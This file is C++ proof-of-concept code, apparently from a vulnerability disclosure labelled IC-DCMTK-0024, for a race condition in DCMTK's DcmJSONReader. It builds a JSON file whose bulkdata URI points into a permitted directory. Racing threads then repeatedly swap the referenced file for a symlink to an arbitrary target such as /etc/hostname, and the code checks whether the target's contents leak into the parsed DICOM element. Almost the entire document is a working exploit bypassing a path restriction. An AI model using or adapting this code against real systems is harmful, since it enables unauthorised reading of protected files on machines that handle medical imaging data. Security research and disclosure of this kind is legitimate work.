|
/*
|
|
* IC-DCMTK-0024 TOCTOU PoC — Using DcmJSONReader API directly
|
|
*
|
|
* Calls DcmJSONReader::readAndConvertJSONFile() in-process while
|
|
* racing threads swap the bulkdata file with a symlink.
|
|
*
|
|
* Build:
|
|
* g++ -O2 -pthread -o toctou_api_poc toctou_api_poc.cc \
|
|
* -I<dcmtk>/build/config/include -I<dcmtk>/dcmdata/include \
|
|
* -I<dcmtk>/ofstd/include -I<dcmtk>/oflog/include \
|
|
* -Wl,--start-group <dcmtk>/build/lib/lib{dcmdata,ofstd,oflog,oficonv}.a \
|
|
* -Wl,--end-group -lpthread -lz
|
|
*/
|
|
#define _GNU_SOURCE
|
|
#include "dcmtk/dcmdata/dctk.h"
|
|
#include "dcmtk/dcmdata/dcjsonrd.h"
|
|
#include <cstdio>
|
|
#include <cstdlib>
|
|
#include <cstring>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <pthread.h>
|
|
#include <sys/stat.h>
|
|
|
|
struct RaceArgs {
|
|
const char *filepath;
|
|
const char *target;
|
|
volatile int *stop;
|
|
};
|
|
|
|
static void write_legit(const char *path) {
|
|
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
|
if (fd >= 0) { write(fd, "OK\n", 3); close(fd); }
|
|
}
|
|
|
|
static void *racer_thread(void *arg) {
|
|
RaceArgs *ra = (RaceArgs *)arg;
|
|
while (!*ra->stop) {
|
|
unlink(ra->filepath);
|
|
symlink(ra->target, ra->filepath);
|
|
unlink(ra->filepath);
|
|
write_legit(ra->filepath);
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
if (argc < 3) {
|
|
fprintf(stderr, "Usage: %s <target_file> [attempts]\n"
|
|
" e.g.: %s /etc/hostname 3000\n", argv[0], argv[0]);
|
|
return 1;
|
|
}
|
|
const char *target = argv[1];
|
|
int attempts = argc > 2 ? atoi(argv[2]) : 3000;
|
|
|
|
// Read target content
|
|
FILE *tf = fopen(target, "r");
|
|
if (!tf) { perror("target"); return 1; }
|
|
char target_content[4096] = {};
|
|
fgets(target_content, sizeof(target_content), tf);
|
|
fclose(tf);
|
|
char *nl = strchr(target_content, '\n');
|
|
if (nl) *nl = 0;
|
|
printf("Target: %s -> '%s'\n", target, target_content);
|
|
|
|
// Setup working directory
|
|
char workdir[] = "/tmp/toctou_XXXXXX";
|
|
mkdtemp(workdir);
|
|
char bulkdir[512], datapath[512], jsonpath[512];
|
|
snprintf(bulkdir, sizeof(bulkdir), "%s/b", workdir);
|
|
mkdir(bulkdir, 0755);
|
|
snprintf(datapath, sizeof(datapath), "%s/b/d.bin", workdir);
|
|
snprintf(jsonpath, sizeof(jsonpath), "%s/in.json", workdir);
|
|
|
|
// Write JSON input
|
|
FILE *jf = fopen(jsonpath, "w");
|
|
fprintf(jf,
|
|
"{\"00080016\":{\"vr\":\"UI\",\"Value\":[\"1.2.840.10008.5.1.4.1.1.7\"]},"
|
|
"\"00080018\":{\"vr\":\"UI\",\"Value\":[\"1.2.3.4.5.6.7.8.9\"]},"
|
|
"\"00420011\":{\"vr\":\"OB\",\"BulkDataURI\":\"file://%s\"}}\n", datapath);
|
|
fclose(jf);
|
|
|
|
int wins = 0;
|
|
volatile int stop_flag = 0;
|
|
pthread_t racers[4];
|
|
RaceArgs ra = { datapath, target, &stop_flag };
|
|
|
|
for (int i = 0; i < attempts; i++) {
|
|
write_legit(datapath);
|
|
|
|
// Start racers
|
|
stop_flag = 0;
|
|
for (int t = 0; t < 4; t++)
|
|
pthread_create(&racers[t], NULL, racer_thread, &ra);
|
|
|
|
// Call the API directly — no fork, tightest possible race
|
|
DcmFileFormat fileformat;
|
|
DcmJSONReader reader;
|
|
reader.addPermittedBulkdataPath(OFString(bulkdir));
|
|
reader.readAndConvertJSONFile(fileformat, jsonpath);
|
|
|
|
// Stop racers
|
|
stop_flag = 1;
|
|
for (int t = 0; t < 4; t++)
|
|
pthread_join(racers[t], NULL);
|
|
|
|
// Check if the DICOM dataset contains target content
|
|
DcmDataset *ds = fileformat.getDataset();
|
|
if (ds) {
|
|
DcmElement *elem = NULL;
|
|
if (ds->findAndGetElement(DcmTagKey(0x0042, 0x0011), elem).good() && elem) {
|
|
Uint8 *buf = NULL;
|
|
unsigned long len = 0;
|
|
if (elem->getUint8Array(buf).good() && buf) {
|
|
len = elem->getLength();
|
|
if (len > 0 && memmem(buf, len, target_content, strlen(target_content))) {
|
|
wins++;
|
|
printf("RACE WON on attempt %d! '%s' found in element (0042,0011)\n",
|
|
i + 1, target_content);
|
|
if (wins >= 3) break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if ((i + 1) % 500 == 0)
|
|
printf(" %d/%d, %d wins...\n", i + 1, attempts, wins);
|
|
}
|
|
|
|
printf("\nResult: %d wins / %d attempts\n", wins, wins > 0 ? wins : attempts);
|
|
|
|
unlink(jsonpath); unlink(datapath); rmdir(bulkdir); rmdir(workdir);
|
|
return wins > 0 ? 0 : 1;
|
|
}
|